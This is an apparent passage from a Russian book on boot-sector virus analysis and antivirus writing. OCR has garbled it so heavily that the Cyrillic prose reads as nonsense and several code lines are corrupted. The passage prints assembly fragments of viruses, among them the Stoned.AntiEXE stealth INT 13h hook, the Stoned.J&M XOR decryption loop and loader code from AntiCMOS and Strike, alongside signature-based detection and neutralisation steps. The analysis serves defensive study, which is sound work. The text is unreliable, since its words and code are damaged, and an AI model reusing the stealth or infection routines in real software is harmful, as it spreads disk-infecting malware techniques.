BHUMAaHKeE Ha BOIIPOCE: KaK Ke YCTPOEH 3TOT 00paboTYmK?

IlepBbie ke nelicTBUsI BUPYCHOTO 00pabOTYMKA — COXpaHeHHe KOoJa
onepannu (oH Haxomuicst B peructpe AH) u Hemessiennas repepada
VIIPaBJEHUST OPUTHHAIBHOMY 00PadOTUMKY IMCKOBOTO MPEPHIBAHMUS 110-
cpezactBoM <INT D3h». Takum o6pa3oM, Bce JUCKOBbIE OIlePALUU, MHH-
LUUPOBAHHbIE OLEPAITHOHHON CUCTEMOU 1 MPUKJIAHBIMU IIPOTPAMMAMHU,
MPOXOIAT <IIMTATHO.

New13:

mov  byte ptr cs:Save_AH, ah
int  0D3h
jc Err_13

Ho mnocne Toro, kak AMCKOBas olepaius HOPMAJbHO BBINOJHUTCS,
yIIpaBJieHre BHOBb Oepet Ha cebst BUpyCHbIi 00paboTunk. Terepb OH Mpo-
BEpSIET: a KaKoe AefcTBre, COOCTBEHHO TOBOPS, OBLIO BBIIIOJIHEHO — YTe-
HME CEKTOPA, 3aI1Ch, (POPMaTHPOBAHUE JOPOKKH MK YTO-HIOY b MHOE?
W npeskzie BCEro ero MHTEPECYeT, He MPOYUTaH JIM B Pe3yJIbraTe KaKoi-
00 AUCKOBBII CEKTOP.
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Pushf
cmp  byte ptr cs:Save_AH,2
jne  No_Read

call Stealth
No_Read:

popf

Err_13:

retf 2

U ecit 6BLIO BBITIOJIHEHO UMEHHO YTEHUE, TO, TIPEXK/IEC YeM BBIATH 13
06paboTunKa MPePbIBAHUS U MepeiaTh YIIpaBJeHNe BbI3bIBAIONIEH MPo-
rpaMMe, BBITIOJTHSAETCS HeKast TPOTeypa, paboTaiommas cireayionmum 06-
pasoMm.

Stealth:

push es

pop ds

mov  ax,word ptr cs:[0]
cmp ax, [bx]

jne  Not_EQ

mov  ax,word ptr cs:[2]
cmp  ax, [bx+2]

jne  Not_EQ

mov  cx,word ptr ds:[bx+4]
mov  dh,byte ptr ds:[bx+6]
mov  ax, 201h

int 0D3h

Not_EQ:
retn

CyThb ee anropuT™ma: eciu 06paboTyMKOM Oblla BBIMOJHEHA OTePATHst
urerust U B Oydepe ¢ agpecom ES:BX yike XpaHutcst copepRIUMoe mpo-
YUTAHHOTO CEKTOPA, TO BUPYC HAUMHAET TIOCJIEIOBATEIHHO TIPOBEPTH,
a He COBIAJIAIOT JIM TIePBbIe GAITHI TPOYUTAHHOTO CEKTOPA € KOJIOM CaMO-
ro Bupyca. M ec okasblBaeTcst, 4TO 110 KpaiiHeil Mepe 4 1epBbix GaiiTa
COBIIQJIAIOT, TO BUPYC M3BJIeKAET COXPAHEHHbIE KOOPIMHATBI «CIIPATAHHO-
ro» OPUIMHAJIBHOTO 3arpys3unka (oHM XpaHsrcs B Oaiirax [4], [5] u [6],
3aHMMaeMbIX paHee Gecrosestoil MeTkoit «MSDOSs), sarpyskaer B AH
yucso 2 (Ko KOMaH/Ibl YTEHUS CEKTOpa) U CaMOCTOSITETbHO BBITIOJIHSIET
ATO UTEHUE B <I0JIb30BATEIbCKUIT> Gydep.

Takum 06pasoM, eciu Kakasg-Jmbo MporpamMMa WU OMeparoHHast
cucTeMa 06paTUTCS K AUCKOBOMY CEKTOPY, B KOTOPOM PEabHO «CUIUT>
BUPYC, TO B Oydepe maMsaTH 110ciIe Onepalui YTeHUsT OKaKeTCsA He KO/
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BUPYCAa, a KOJI OPUTHHAJILHOTO 3arpy34yrKa. BUpyc Ha JUCKe eCTh, HO €ro
HEBO3MOJKHO YBU/IETH!

ITOT IPUEM HOCUT HAUMEHOBAHUE «CTEJCHPOBaHUe» (OT aHTJI. Hape-
uust stealth, 03HAYAIONIETO «YKPAIKOU», «BTUXOMOJIKY», «HE3AMETHO» ),
a BUPYCHI, KCIIOJIb3YIOLIIE HeUTo 1000H0e, — stealth-eupycot, nii cmeic-
BUPYCLL.

2.3.2. PaspaboTka aHTUBUpYCa

ITonpobyeM mpeacraButh cebe, 4To HOTpedyeTcs, 4ToObl 06E3BPEAUThH
Stoned.AntiEXE. AHTUBUpPYCHast TpoTpaMMa J0JKHA:

O o06HapyKUTh KOJI BUPYCa B OIEPATUBHON MaMITU KOMIIbIOTEPA U
OTHO3HAYHO UAEHTU(DUIIUPOBATD €T0;

O ob6esBpenutsh stealth-mexanusm Bupyca, mocjie 4ero Mbl TTOJTYYHM
BO3MOJKHOCTh HATIPSIMYIO YMTATh IMCKOBbIE ceKTopa 6e3 6Oosa3HH,
YTO UX COAEPKUMOE OY/IET MOJIMEHEHO;

O 06e3BpennTh MPOIELYPY 3apasKeHIs], BOCCTAHOBUB MPEKHEE 3HA-
yeHHe BeKTopa npepbiBanust 13h, mocie yero Mbl HOJTyYUM BO3-
MOJKHOCTb HaIIPSIMYIO IHCaTh AUCKOBbIE ceKTOpa 6e3 GOsI3HU, U4TO
UX COZIePIKIMOe GYIIET 3aMeTeHO KOJIOM BUPYCa;

O 06HApyKWUTh B 3aTPy30YHBIX CEKTOPAX BUHUYECTEPA U UCKET BU-
PYCHBIIN KOl ¥ TAK)KE OJTHO3HAUHO MAEHTU(DHUIIMPOBATH €T0 KaK KOJI
supyca Stoned.AntiEXE;

O pasbICKaTh 110 CMEIIEHUSIM OPUTUHAIBHOE COAEPIKUMOE 3arPy304-
HBIX CEKTOPOB Ha BUHYECTEPE U AUCKETAX U 3AMUCATh MX Ha X «3a-
KOHHOe» MecTO (BIIPOYEM, U HA JUCKETe, U Ha BUHYECTEPE OPUTH-
Hau xpanutcs B {0,0,D}).

BuumarebHbIIT YUTATENb MOXKET 3aMETHTDh, YTO TEPBBIE TPHU ITYHKTA
HAIIed MPOTPAMMBI JIEHCTBHIT He SIBJSIIOTCST HEOOXOMMMbIMU. B camom
JieJie, 3arpy3uBIITUCH CO «3/I0POBOIT» TUCKETDI, MBI TIOJIYYHM B CBOE PACIO-
psiskeHne abCOTOTHO YUCTYIO OT KaknX-110o stealth-mexannsmos omnepa-
TUBHYIO MAMSTh KOMITbIOTEPa. A 3HAYUT, MOKHO CMEJIO0 OOHAPYKIBATH 1
VAAJIATH BUPYC C IUCKOBBIX HAKOTTUTEJIEH, He OTacasich IPOTUBOEHCTBIS
CO CTOPOHBI KOBAPHOTO BUPYCA.

Tem He MeHee MbI OyzieM GOPOTHCST ¢ BUPYCOM HE I10 YIIPOIIEHHOMY aJI-
TOPUTMY, & «KaK ITI0JI0KeHO». Bellb, B KOHIIE KOHIIOB, MOJKET OKA3aThCs,
YTO 3apa’keHHast MallTUHA YIIPABJISIET SIZIEPHBIM PEAKTOPOM, U ITepe3arpy-
JKaTh ee MPOCTO Hesb3si. Kak Bbl rymaeTe, 9T0 BEPOSITHASI CUTYAITH ?

B xommbioTepHOll Bupycosoruu (M He TOJBKO B Hell) BaKHYIO POJIb
UTpaeT TOHATHE CUzHAMYpbl BUpyca. B NMIMPOKOM TOJIKOBAHUU CUTHA-
Typa — 3TO YHUKAJIbHAs <IOIMKUCH», OJHO3HAYHO XAPAKTEPHU3YIOIIAsT
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«aBTOpay. Pasymeercsi, <IOAMUCh> BUpPYyCa HEe MMEET HUYEro OOIero
¢ KaurpaduuecKUMU BEH3€JISIMY, BbITOJHEHHBIMU I'YCHHBIM TIEPOM HA
nepramMenTe. Bupyc omHO3HAYHO XapaKTepU3yeTcsl YHUKAIbHOI, TO €CTh
HU B KaKWX JAPYIUX [porpaMMax He BCTpedaroleiicst, komOnHaiei Gaii-
TOB (Wi axe hparMeHTOB 6aliTOB). TO M €CTh CUTHATYPA BUPYCA.

CHUTHATYPBI UCMOIB3YIOTCA HE TOJIBKO JIJIS JIETEKTUPOBAHWST BUPYCOB,
HO ¥ JIJIs pa3jindeHusi HAbOPOB JIaHHBIX, UMEOIuX crernudeckue hop-
Mmatbl. Hampumep, Bce 3arpysounble CeKTOpa XapaKTepU3YIOTCSI CUTHA-
typoit AA55h, ucnosnnsiembie EXE-daiibl iporpamMm — ctpoukoii 'MZ',
CTPYKTYPHPOBAHHbIE XPAaHUJIHIIA JOKYMEHTOB U 9JIEKTPOHHBIX TaOJIUI] —
nocsenoBatesbiocThtio DOh CFh 11h EOh u . mm.

JliuHa BUPYCHOU CUTHATYPBI MOKeT ObITh pasHoil. B uieane B Hee
JIOJKHA BXOJUTD BCsI MOCTOSIHHAS YacTh Bupyca. Ho na MomenT Haruca-
HUS 9TUX CTPOK B MUPE HACUUTHIBAJIOCH HECKOJIBKO JIECSTKOB ThICSIY Pa3-
JIMYHBIX (DaAiJIOBBIX M 3arPy30YHBIX BIUPYCOB ILITIOC HECKOJIBKO MUJITHO-
HOB TPOSTHCKUX IpOrpaMM. XpaHeHUe JJIMHHBIX CUTHATYD TEXHUYECKN
HEPAIMOHATHHO W HKOHOMUYECKN HE BBITOJHO, MOITOMY COBPEMEHHBIE
AHTUBUPYCHI UCTIOJIB3YIOT IS IETEKTUPOBAHUS BPEJOHOCHBIX TIPOTPAMM
He caMU CUTHATYPBI, & JIUIIb KOHMPOIbHble CYyMmbL OT HuX. [loHsaTHo, 4To
TaKOI1 TTOIX0/T HECKOJIBKO CHUKAET HAJIESKHOCTD OIHO3HAYHOTO PACTIO3HA-
BaHUs1. MeTo/ibl, KOTOPBIMU pPeIaeTcst a1a Tpobaema, GyIyT pacCMOTPEHbI
B ITOCJIe/THEN TJIaBe KHUTH.

MbI GyJieM UCIIOIb30BaTh JIJIsI PACIIO3HABAHUS BUPYCOB TIPOCTHIE CHUT-
HaTypbl. [locKoJIbKY B aHTUBUPYCHBIX KOMITAHUSX HCCIEIOBAHUE BUPYCOB
[IOCTABJIEHO Ha MOTOK, TO MPOIECC BHIOOPA CUTHATYP TaM, KaK MPABUJIO,
aBTOMATH3UPOBaH. MbI JKe, He CBsI3aHHbIE TPEOOBAHUSIMU CKOPOCTHOTO
MacCOBOTO MPOU3BOJICTBA «JIEUIIOK», UMEEM BO3MOKHOCTH GoJjiee Tia-
TEJILHOTO BBIOOPA CUTHATYPBI. I109TOMY B HALIIMX MTPUMePaX UCIEJISTIOINX
MIPOTPAMM CUTHATYPbI Oy T KOPOTKUME — He GoJiee fecsiTka 6aiiToB, 3aT0
o4enb UH(MOPMATUBHBIMHU.

ToBopst 0 curnarypax, HeBO3MOKHO He YIIOMSHYTb OJHY 3aHUMATe Ib-
HYIO MCTOPWIO, PACCKA3aHHYIO OJHAKIBI B TesiekoHbepeHuu relcom.
comp.virus /I. O. [ps13HOBBIM:

Ha 3ape BupycHo-aHTUBMPYCHOV 3roneu, Koraa BupycoB OGblJ10 BCEro
HUMYero v ckaHepbl 6blSIv UMEHHO CKaHepaMu, TO eCTb MPOCMaTPUBasIn
BECb aviyl LeJIMKOM Ha NPeaMeT Haan4ms ornpeaeneHHov nocaeno-
BaresIbHOCTY GaiT — TOU caMOWi «CUrHaTypbl», 3T «CUrHATYPbI» AeVi-
CTBUTEJIbHO OblJIN HEM-TO LIEHHBIM U PACCMaTPUBaINCh HEKOTOPbIMU
Kak kommepyeckasi TaviHa, «<know-how». 3a kaxxabiM HOBbIM BUPYCOM
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FOHSIZINCh, Kak s1 He 3Hato 3a Y4eM. Ecsiv KOHKYPEeHT 0bHapyxuBas Ha
oavH-ABa Bupyca 6osblue, 3TO bblia karactpoga!l Bot n aepraiv
B OTCYTCTBUE «KMBOIro» BUPYyCa 3T1 caMble CUrHaTypbl ApYry apyra...
Hy, John McAfee v noanoxuvsi CBUHbIO MOTEHUMNAIbHbIM KOHKYPEH-
Tam — «xakepam», BOMB B CBOV Scan, Hapsiay C peasibHbIMU BUpyca-
MU, NapoyKy JINMOBBIX «CUrHATypP»... VI3 Takux JIMMOBbIX «CUrHaTyp»
BCIOMUWHaETCsl AENCTBUTENIbHO siereHaapHbii «Bupyc» Nichols, 3a
KOTOPbIM BCSI aHTUBMPYCHasi bpatus (3a nckmodeHnem McAfee, pas-
ymeeTcsl) 6e3ycreLLHO roHs/1acb HECKOJIbKO NEeT. [pudem, 67mH, ero
Beab «Bugenn»! [IpUMepHoO Kak cerogHs HeKoOTopble «BuasT» SnBuca
lMpecaun 1o Tam, TO csaM... Bce aTo 661710 B npumepHo 1986-1988 rr.
C 1ex nop MHOro Bofibl yTekJio...

Wrax, 3aiiMeMcst HEIIOCPEICTBEHHON pa3paboTKOI aHTHBUPYCA.

Iar 1. IIpexae Bcero Heobxoaumo o0HapykuTh Bupyc B O3Y. Mzyuas
anroput™ paborsl Stoned.AntiEXE, Mbl UM K BBIBOLY, YTO arpec-
CUBHBIH KO/ paciiosiaraeTcs B OllepaTUBHON IIaMATH BCer/ia B OZIHOM U TOM
JKe MeCTe, & MIMEHHO B CKPBITOM OT OTIEPAIMOHHON CHUCTEMBI MOCJTETHEM
Kuso6aiite oCHOBHOU mamMsiTi. KOHKpeTHbIE a/[peca JIETKO BBIYHCIUTD Ha
OCHOBaHUM MH(pOPMAIINH, TPUBEIEHHON B MOJHOM JIMCTUHTE BUPYCHOTO
koza (cM. npuitoxkenue). O6paruM BHUMaHKE Ha CJeLyIOMNUi (pparMeHT
IPOIIEAy bl 06pabOTKU JIUCKOBOTO MPEphIBaHUS (C/IeBa yKa3aHbl ajpeca
U 3Ha4eHus GalToB):

002C 2E:A3 0007 mov word ptr cs:Save_AX, ax
0030 CD D3 int 0D3h

0032 72 4A jc Error

0034 9C pushf

0035 2E:80 3E 0008 02 cmp cs:Save_AX+1,2

003B 75 40 jne 0K

BoibGepeM B KauecTBe CUTHATYPBI 8 0aiiTOB, Pa3MEIEHHBIX TOCJIE[0BA-
TesibHo, HaunHas ¢ agpeca 35h: «2E 80 3E 00 08 02 75 4D».

Taxum 06pasoM, ecJii B ollepaTuBHON naMstu o cMmeriernio 9FCOh:35h
OKa)KyTCsI UMEHHO 9T GaiiThl, To Oy;eM CYnTaTh, 4TO BUpyc Stoned.
AntiEXE npucyTcTByeT B HaMITH, I OH aKTHBEH.

IMTar 2. Tereps paspaboTaeM IMJIaH HEHTPATM3ANNN BUPYCa B MAMSITH.
OGparum cBOIl B30p BCe Ha TOT Ke (DPArMeHT, B KOTOPOM MbI BBIOPAJIH
8 6aiiToB B KauecTBe CUrHATYPbL. JleI0 B TOM, YTO JA€CTPYKTUBHBII aJiro-
PUTM BUPYCa, a TAKXKe MPOoIe/lypa MOJMEHbI CEKTOPOB U 3apaKeHUS JHC-
KeT HUKOT/Ia He TTOJIyYar yIPpaBJIeH s, ECTA HTOT (hparMeHT GYAeT BBITJIs-
JIeTh, HAIIPUMeP, BOT TaK:
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002C 2E:A3 0007 mov word ptr cs:Save_AX, ax
0030 CD D3 int 0D3h
0032 72 4A jc Error
0034 9C pushf

0035 90 nop

0036 90 nop

0037 90 nop

0038 90 nop

0039 90 nop

003A 90 nop

003B EB 40 jmp 0K

Tenepb CTAHOBUTCST HOHSATHBIM, JIJIsT Y€I0 MbI BBIOPAJIU CBOIO CUTHATYPY
HUMEHHO B 3TOM MecTe. Mbl coOMpaeMcst UBMEHUTD 3TOT (DParMeHT CBOMM
AHTUBUPYCOM. A TIOTOM BCET/la CMOKEM Pa3JIMUUTD: 9TO AKTUBHBIN BUPYC
WM yKe <«yOUTBIi». B IPOTUBHOM ciiyyae HaM MPUILIOCH Obl UCIOIB30-
BaTh JIBE CUTHATYPHI B JIBYX PA3HBIX MECTaX.

PasymeeTcst, HaM TIPOCTO TIOBE3JIO, YTO B BUPYCE HATIEJICS TAKOH «y106-
HbIl» (DparMeHT, U3MEHEHHEM KOTOPOTO MBI HEHTpalu3yeM cpasy Tpu
HEsKeJaTeIbHBIX arPeCCUBHBIX MeXaHM3Ma. B o01ieM ciydae MpHUIILIOCh
ObI perarh Bee 3T MPOOJIEMBI TI0 OTAETBHOCTH. XOTsI, KOHEUHO, B 3a11ace
y Hac BCerja MMeeTcs TaKoW MOIIHbIH 1 0e30TKa3HbIi IpueM, Kak oOHa-
PYyJKeHUe B TeJie BUPYCa COXPAHEHHOTO 3HAYEH W] OPUTHHAIBHOTO BEKTO-
pa nipepoiBanust 13h u Bo3Bpar ero Ha 3akonHoe Mecto. KoHKpeTHO, 1711
cinyyast Bupyca Stoned. AntiEXE, nputiioch Obl B3SITh JBOHOE CIOBO TI0
aznpecy 0:34Ch u nepentucars ero B 0:4Ch. 310 ropaso mpotite, HO JaneK0
He TaK MOYYUTEIbHO.

[ar 3. Crtanupyem yajieHue BUPyca U3 3arpy30UHbIX CEKTOPOB JIUC-
KeT u BuH4YecTepa. Bo-nepBbix, HEOOXOAUMO MTPOYUTATEH CEKTOP € KOOP/IH-
Haramu {0,0,1} B Maccus pasmepom 512 GaiitoB. B kauecTBe curHatypsl
JUIST PA3JIMYEHUsT «37I0POBOT0O» U «OOJIBHOT0» CEKTOPOB MOKHO C YCIIEXOM
HCII0JIb30BaTh BCe Te Ke 8 GaliTOB, TOJBKO TeIepb OHU OYIYT Pa3MeliaTh-
Ccs1 B MaCCUBe, HAUMHast ¢ wHekca 35h.

Ecau mbt ipounTasu cekrop {0,0,1} ¢ quckeTs 1 OH OKazaJics 3apaskeH
BupycoM Stoned. AntiEXE, T0 Hy’KHO B3sTb C TOH e AUCKETHI COIEPIKI-
MOe CEeKTOpa C a/ipecoM, mapaMeTpsl KOTOporo (3Hauenue peructpa DH
npu Beizose Int13h) coxpatenbl B BUpyce Mo cMelleHuIo 6, 1 mepesari-
caTh €ro B 3arpy3uuk. /[ BUHYecTepa IMpoIle/lypa aHaJOTMIHa, TOJIbKO
ajipec «IJIEHHOTro» 3arpysunka nocrosuen: {0,0,0Dh}.

Wcexopnblii Teker Ha stabike Cu Ui TIPOTIEAYp, OOHAPYKUBAIONINX 1
HelTpajusyiomux sarpysounbiii supyc Stoned.AntiEXE, naxomurcs
B MPIJIOKEHWH. [|OCTYTT K KOHKPETHBIM JIFICKOBBIM CEKTOPAM OCYIIECTB-
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asiercs 1pu omornu dpyakiun biosdisk(), a BpiGopka u 3amelnenue gaH-
ubix B O3Y — npu nomouiu Mmakpocos peekb() u pokeb().

2.4. PeAKO sBCTpevalowmecs ocobeHHOCTU

Cmpannocmu... Hem nuxaxux cmpanmnocmeil.
Ecmwv npocmo neposnocmu...

A. u B. Crpyrankue. <ITorbiTka K GercTy»

Kak MbI MOTJI yOEAUTHCSI HECKOJIBKIMU CTPAHUIIAMU BBIIIE, TIPUHIUI
NeCTBUSA 3arpy304HBIX BHUPYCOB BecbMa IPOCT. BOJBIIMHCTBO 3arpy-
30YHBIX BUPYCOB BeChMa MOXOKHU APYT Ha apyra. OIHAKO 1es1ecoobpasHo
paccMOoTpeTh HauboJjiee YacTo BCTPEUAIOIecs: U HanboJiee BasjKHBIE 0CO-
GEHHOCTH, KOTOPBIE MOTYT BCTPETUTHCS B MPOIECCE U3YUEHUS W YHUUTO-
JKEHUS 3arpy304HbIX BUPYCOB.

2.4.1. 3awndpoBaHHbie BUPYChbI

Cpagzy rocse BKJIOYEHU TTUTaHUs TIpotieccopsbl cemeticTsa i80x86 naum-
HAOT PabOTy B TaK HA3LIBAEMOM PEalbHOM PexkuMe. B aTHX ycroBusx oT-
CYTCTBYIOT KaKue-Jn60 MEXaHU3MbI 3all[UThI TAMSITH, YTO O3HAYAET TI0JI-
HYI0 BO3MOKHOCTb CAMOMOIM(UKAIIUHY TIPOrPAMMHOTO Ko/ia. PaccMoTpum
dbparmenT aucrunra supyca Stoned.J&M:

. OpurnHanbHbln Kof

jmp $0

$0: cli

Xor ax, ax

mov SS, ax

mov ds, ax

mov sp, 7C00

cli

XOr ax, ax

mov SS, ax

mov ds, ax

mov sp, 7C00

sti

; Mpoueaypa pacumopoBku
mov bx,offset $1
mov cx, 017E

$2: mov ah, [bx]
xor ah, FF

mov [bx], ah

inc bx

loop $2

;. ®parMeHT [0 W nocne pacuudpoBKM
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$1: pop si . mov ax, [00413]
in al,dx ; sub ax, 0002
sti ; mov [00413], ax
sar ch,cl ;. mov cl,06

call [si][OFFEC] . shl ax,cl

sti ; shl ax,cl

dec si ; push  ax

stc ;. pop es

sub al, 1F ;. mov bx, 0200
scasw ;. mov ax, 0201
clc ; mov cx, 0001
inc sp . XOr dh, dh

2977 bp . mov dl,[07BD8]

Hauano Bupyca BBITASIUT OBOJTHHO TPAAUIIMOHHO, HO C ajipeca TmaMsi-
TH, CUMBOJIMYECKU TIOMEUYEHHOTO KakK «$1», HAuMHAETCSI CTPAHHO BBITJIsI-
JSIIAst TOCJIEI0BATEIBHOCTh KOMAH/I, YaCTh U3 KOTOPBIX Jlake He MOoJIa-
eTcs Au3acceMOIMPOBAHMIO. B TakoM COCTOSHNN, B KAKOM KO HAXOIUTCS
B MOMEHT cTapra Bupyca Stoned.J&M, OH He MOIJIEKUT UCIIOJHEHUIO.
KoneuHo, Kaast OTIeJbHO B3sITast KOMaHIa «0e3yMHOr0» KOJa 4TO-TO
O3HAYaeT M JaxKe MOKET ObITh BOCIPUHATA IIPOIECCOPOM KaK BIIOJIHE Jie-
rasibHasg. Ho Bce BMecTe OHM, BBITIOJIHSIEMbIE TTOCJIE0BATEIBHO, HE MOTYT
MPUBECTH HU K YeMy MHOMY, KDOMe KaK K TSDKEJIOMY «ITOJIBUCAHUIO» Ma-
mHbL. [ToaToMy mepes TeM, Kak repearh yrpasieHne Ha «6e3yMHBIH»
(dbparMenT, BUPyC IPUMEHSET K 3HAYEHUSIM ero 0aliToB oleparuio, 00-
paTHyIO TOIi, KakoBas Obljla MCIIOJIb30BaHa IIpU 3amdpoBke Koma. s
JTOI TIeJIN OUEHb YaCcTOo UCToyb3yeTcst onepaiins « XOR», mpuiekatomias
CBOEIT «CaMOCUMMETPUYHOCTBIO:

<Crapoe 3nauenune>®<Kmou>=<HoBoe 3nauenne>;
<Hogsoe 3nauenne>@<Kiou>=<Crapoe 3HaueHne>.

ITpumepHO TakuM ke CBOHCTBOM obOmazator omepaiuu «<NOT» u
«NEG», HO oHM He TO3BOJIIIOT BapbUPOBATh KJIOY TrdpoBanus. To ke
caMoe MOKHO CKa3aTh U PO Oeparini 0OMeHa MeCTaMH YacTeil perucTpa
WJIn sST9eiiKy naMsiTi: 1uist 16-6UTOBOTO CJI0BA €€ MOKHO Peasin30BaTh KO-
mannoii «XCHG», a ansa 8-6uroBoro baiita — koMmangamu «ROLy niaun
«ROR». Berpeuatores u apyrue apudgmeTnyeckye 1 JIOTHIECKHUE oTiepa-
VM, HO OHU TPeOYIOT TPUMEHEHUS B MN(MPOBIIMKAX U PacHIidpOBIIH-
KaxX «3epKajibHO-CUMMETPUUYHBIX» KoMau/I: /711 «ADD» ato «SUB», s
«SHL» 210 «<SHR» 1 T. 1. BOT 1H04eMy aBTOPbI BUPYCOB OOBIYHO II0JIb3Y-
10TCs 7151 3a1npPOBKH CBOETO KoJla oliepaliueit «uckiodaoiniee NJI».

3auem Bce 370 fesaercsi? YToObl 4y Th-4yTh 3aTPYAHUTD KU3HDb BUPY-
COJIOTY, U3yJarolieMy Ko/ BUpycoJior BEIHY KIeH OyaeT IPUMEHUTD OfUH
U3 CIIeYTONTUX TTIOX0/I0B.
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Bo-1miepBbiX, OH MOKET BBIOJHUTDL IOMIATOBYI0 TPACCUPOBKY KO/a
B otiaguuke Bochs. B aToM ciyyae Bupyc Ha rjiasax y BUPYCOJIOTa caM
paciugpyer cebs.

N BUPYCOJIOT MOJKET ITOMECTUTDH COAEPKHUMOE ITOJO03PUTETIbHOTO
cekTopa B (hailyi U HANMKUCATh CHEUATbHYIO JeKOIUPYIOILYIO TPOTPaMMY,
HallpUMEpP TaKy1O:

// Pacuudposka kopa Bupyca Stoned.J&M
#include <stdio.h>
#include <io.h>
#include <fcntl.h>
int f, i; unsigned char buf[512];
main()

{

f = open("J&M.BIN", O_RDWR|O_BINARY)
read(f, buf, 512)

for (1=0x39;1<0x17E+0x39;1i++) buf[1i] =0xFF
1seek(f,0, SEEK_SET)

write(f, buf, 512)

close(f);

Etrte o107 BO3SMOKHOCTBIO SIBJISIETCST NCTIOTb30BAHNE CPEICTB MHTEPaK-
TUBHBIX Jin3acceMbIepOB, KaKOBBIMU siBJisttoTcst, Harpumep, HIEW E. Cyc-
smkoBa wim IDA W. Tunsdanosa. Yrumura HIEW no3Bosiger HazHaunTh
MIPABIJIO JIEKOIMPOBAHUS OAUTOB IIPU MOMOIIX TIPOCTEHBKOI MPOrpaMMKY
Ha IPUMUTHBHOM <IIceBaoacceMobepes, a B IDA jis1 9101 11e/m npumercst
UcaTh CKpUITh Ha BerpoerHoM Cu- wiu Python-miogo6HOM si3bike.

2.4.2. Bupycbl, He COXpaHSIOLWMe OPUrnHaNbHbIX
3arpy3ymKkoB

JleiicTBUS, BBINOJIHAEMbIE CTAHAAPTHBIMK 3arPY304HBIMU [IPOrPAMMAaMU,
BEChbMa MPOCTBI U OHOOOPA3HBI: MUHMUMAJIBHO IIPOTECTUPOBATH JIOTHYe-
CKYIO CTPYKTYPY ZIMCKA Ha KOPPEKTHOCTD, [IPOYKMTATH B IAMATh (DParMeHT
CTapToBOrO (haiiia ONeparuoHHOI CHCTEMBI U TIEPe/IaTh eMy yIIpaBJIeHue.
[ToaTOMY HEKOTOPaAst YaCTh BUPYCOB HE COXPAHIET OPUTHMHAIBHBIX 3arPy-
304HBIX CEKTOPOB BOOOIIIE, CAMOCTOSITEIBHO BBITIOJHSIS UX (DYHKIHH.

B kauectBe mnpuMmepa paccMOTpUM (hparMeHT JIMCTHHTa BHUpYyca
AntiCMOS, kotopslii Jiuiib coxpansier BHyTpu cebs Partition Table, ca-
MOCTOATEJIBHO CKAaHUPYET ee U 3arPy’KaeT B MaMsaTh boot-CeKTop akTuB-
HOTO pas/iesia BUHYeCTepa:

cmp byte ptr ds:[0Bh],0 ; 3arpyska Obna ¢ AMCKeTH?
Je From_FDD
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From_H
mov
Next_R
add
cmp
jne
Mov
mov
mov
mov
int
jmp
From_F
Loc_11

db
dw

Ptable

DD:

si,offset PTable-10h

ec
si, 10h
byte ptr [si], 80h
Next_Rec
dx, [si]
cx, [si+2]
bx, [7C00h]
ax, 201h
13h

short loc_11
DD:

OEah
7C00h, 0000

db 64 dup (?)
dw 0AA55h

; OTO aKTWBHHIA pa3gen

;B Partition Table?

; Ecnu pa, TO npoucxoguT

;3arpyska B perucTpsl

;. KoopauHaT boot-cexkTopa
aKTUBHOTO pasfena u

; 4TeHue ero B namaTb no
appecy 0:7C00

OparMeHT aMynauun 3arpysku
C AnCcKeTH (MponyueH)

JMP 0000:7C00h

; Partition Table
; CurHaTypa 3arpy3o4qHoro cekropa

Takske Bam Oyjier Jo0oIbITeH (hparMenT JucTrnra Bupyca Strike, ko-
TOPBIT UMUTHUPYET /eUCTBUSI OPUTHMHATIBHOTO 3arpy3vyuKa IIPU MOMbITKE
3arpy3HUTBCS C <HECUCTEMHON» IUCKETBL.

mov
cmp
jae
From_F

mov
NextC:
lodsb
or

jz

mov
int
jmp
End_Pr
sub
int
int
From_H
Messag
db

db

db

dw

dl,ds:Save DL
dl, 80h

From_HDD
DD:

si,offset Messag

al,al
EndPrt

ah, OEh

10h

short NextC
t:

ax, ax

16h ;
19h

DD:

3arpyaka Ouna ¢ BuH4ecTepa?

06paboTka 3arpyskm ¢ AUCKETI
NHGULMPOBaHe BUHYecTepa (NPONyIeHo)

Anpec coobuienHus

Bhibopka 04epeaHoro cumsona

; 9TO KOHel, CTPOKW?

[la - BbXOAM W3 uUMKna
HeT - oTobOpaxeHue
cuMBONa Ha akpaHe

. BosBpaT B umkn

; OxupaHue Haxatws

noboi Knasuwm
"Tennaa™ nepesarpyska MauwuHbl

; 06paboTka 3arpysku ¢ BMHYecTepa
db "Non-System disk or disk error’, 0Dh, 0Ah
"Replace and strike any key when ready’, 0Dh, 0Ah

?
64 dup (?)
0AA55h

; Partition Table
; llpnsHak 3arpys3o4Horo cektopa
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CpasHure 1puBejieHHble (hparMeHTbl ¢ MOJTHbIMU JucTUHraMu MBR
BuHYecTepa u boot-cexropa auckeTsl. JIerko BUAETb, 4TO CTaHAAPTHBIE 3a-
IPY3YMKI HaIMCaHbl OoJiee «HAAEKHO». B 4acTHOCTH, CTaHAAPTHBINA KOJ
MBR 01HOBPEMEHHO €O CKAaHUPOBaHUEM TaOJIMIIbI PA3/E/IOB IIPOBEPSIET
ee Ha KOppeKTHOCTh. Ecim ata tabiuia 1o kakoii-mmbo npuunne paspy-
IeHa, TO CTAHAAPTHBIN 3arPy34nK BBIAACT MPELyTIPeRIaoniee coobie-
Hue, a Bupyc AntiCMOS npocro 3arukautcest. Kpome Toro, Bol HU TIpH Ka-
KWMX YCJIOBUSX HE CMOKETE 3aTPY3UTD ONIEPAIIMOHHYIO CUCTEMY C TUCKETHI,
3apaskeHHOl Bupycom Strike. Besib BUpyc 1pocTo He yMeeT 3TOro JieJiath!
Tem e meHee B 99% cirydaeB aTH BUPYCHI MOCTYIIAIOT TOYHO TaK JKe, KaK
HOCTY MUK OBl Ha UX MECTE CTaHAPTHBIE 3aTPY3UUKH, 1 OJIarofapst aTOMY
M0JIb30BATETh HE 3aMeYaeT TIOJIMEHBI.

Eciin BbI XOTHTE aBTOMATHU3UPOBATH IIPOLIECC JieUEHUs U HAIKCATh
COOCTBEHHYTIO aHTUBUPYCHYIO ITPOTPAMMY, TO MOMCK BUPYCa MO CUTHATY-
pe B CEKTOpax M B MaMSITH HYKHO BBITIOJHATH B TOYHOCTH TaK JKe, KakK
Mbl 910 jesanu st Bupyca Stoned.AntiEXE. [/lina «ieuenuss> MBR
noTpeGyeTcss UMeTh BHYTPU MPOrPaMMBbI COAEPKUMOE CTaHAAPTHOTO 3a-
IPY30YHOTO ceKTopa BuHYecTepa. HeobXoanMo mepeHecTu BHYTPL HErO
